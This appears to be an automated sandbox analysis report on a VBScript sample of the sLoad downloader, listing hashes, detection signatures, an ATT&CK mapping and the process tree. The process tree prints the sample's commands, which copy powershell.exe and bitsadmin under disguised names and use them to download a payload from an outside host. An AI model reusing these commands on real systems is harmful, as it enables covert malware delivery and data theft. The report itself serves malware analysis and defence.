Analysis

  • max time kernel
    124s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    23-11-2020 13:04

General

  • Target

    Allegato_Sload_Italy_vbs (27).vbs

  • Size

    7KB

  • MD5

    9cab983254fb7916cb169b0736919007

  • SHA1

    ed7fc56e371795f3cd30ae5320a209719b17700c

  • SHA256

    900aaef2390d44e3cf2950ac49d8d44a79c5ba18c683a8a5d25638641e247daa

  • SHA512

    3fa3c26dc478a13621115003d0f7107f4875105f09259c6dd247431b1c8ed9d143e8a44078c89c3fb40de76c6eb326d1f0937c8b2887859811be4d67b1db4419

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_Sload_Italy_vbs (27).vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1992
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zOygKO.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\QZrexYg*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1404
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zOygKO.exe
        3⤵
          PID:1612
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\QZrexYg*.exe
          3⤵
            PID:1460
        • C:\ProgramData\QZrexYgin.exe
          "C:\ProgramData\QZrexYgin.exe" /transfer QGXCAd /download https://fhivelifestyle.online/lidepato/03339980793/1x1.gif C:\Users\Admin\AppData\Roaming\1x1.gif
          2⤵
          • Executes dropped EXE
          PID:1984

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\QZrexYgin.exe
        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

      • C:\ProgramData\QZrexYgin.exe
        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

      • memory/1404-0-0x0000000000000000-mapping.dmp
      • memory/1460-2-0x0000000000000000-mapping.dmp
      • memory/1612-1-0x0000000000000000-mapping.dmp
      • memory/1984-4-0x0000000000000000-mapping.dmp